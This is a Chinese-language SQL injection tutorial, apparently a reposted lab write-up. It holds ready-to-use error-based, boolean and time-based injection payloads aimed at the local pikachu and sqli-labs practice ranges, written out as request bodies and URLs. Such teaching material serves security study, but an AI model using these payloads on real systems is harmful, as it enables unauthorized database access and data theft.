sql注入之查詢方式及報錯注入


當進行sql注入時,有很多注入會出無回顯的情況,其中不回顯的原因可能是sql語句查詢方式的問題導致的,這個時候我們需要用到相關的報錯或盲注進行后續操作,同時作為手工注入時,提前了解或預知器sqkl語句大概寫法也能更好的選擇對應的注入語句。

# SQL查詢方式

我們可以通過以下查詢方式與網站應用的關系,注入點產生的地方或應用猜測到對方的sql查詢方式。

1.select查詢語句

在網站應用中進行數據顯示查詢等操作

例如:

select * from news where id=$id

2.insert插入數據

在網站應用中進行用戶注冊、添加等操作

例如:

insert into news(iiiiiiiid,url,text) values(1,'xx','$t')

 pikachu靶場操作:

添加注冊信息:

 提交抓包:

 構造payload進行注入:

username=123' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

可爆出該網站的數據庫名:

或者:

username=123' or updatexml(1,concat(0x7e,(version())),0) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

 再或者:

username=123' or extractvalue(1,concat(0x7e,database())) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

3.delete刪除數據

后台管理里面刪除文章刪除用戶等操作

例如:

delece from news where id=$id

pikachu靶場操作:

 抓包:

 構造payload:

/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

 或者:

/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

或者:

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

4.update更新數據

會員或后台中心數據同步或緩存等操作

例如:

update user set pwd='$id' where id=2 and username='admin'

pikachu靶場操作:

登錄后修改個人信息,提交時抓包:

 構造payload:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or(select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=sss.com&submit=submit

 或者:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or updatexml(1,concat(0x7e,(version())),0) or'&email=sss.com&submit=submit

 或者:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or extractvalue(1,concat(0x7e,user())) or'&email=sss.com&submit=submit

 5.order by排序語句

一般結合表格或列名進行數據排序操作

例如:

select * from news order by $id
select id,name,price from news orer by $order

#sql注入報錯盲注

盲注就是在注入過程中,獲取數據不能回顯至前端頁面。此時,我們需要 利用一些方法進行判斷或者嘗試,這個方法稱之為盲注。

like 'ro%'                            #判斷ro或ro·····是否成立
regexp '^xx[a-z]'               #匹配xx及xx····等
if(條件,50)                     #條件成立返回5,否則返回0
sleep(5)                             #SQL語句延時5秒后執行
mid(a,b,c)                          #從位置b開始,截取a字符串的c位
substr(a,b,c)                      #從b位置開始,截取字符串a的c長度
left(database(),1),database()    #left(a,b)從左側截取a的前b位
length(database())=8         #判斷數據庫database()名的長度
ord=ascii ascii(x)=97          #判斷x的ascii碼是否等於97            

我們可以講盲注分為以下三類:

1.基於布爾的sql盲注(邏輯判斷)

regexp,like,ascii,ord,mid

sqlilabs靶場第5關演示

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(version(),1)=5 --+

猜測數據庫版本的第一位為5,正確不報錯

2.基於時間的sql盲注(延時判斷)

if,sleep

sqlilabs靶場第2關演示

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(database()='security',5,0)) --+

提交后5秒后返回:

 猜測數據庫名長度:

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(length(database())=8,5,0)) --+

3.基於報錯的sql盲注(報錯回顯)

floor,updatexml,extractvalue

演示見上面的pikachu靶場


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM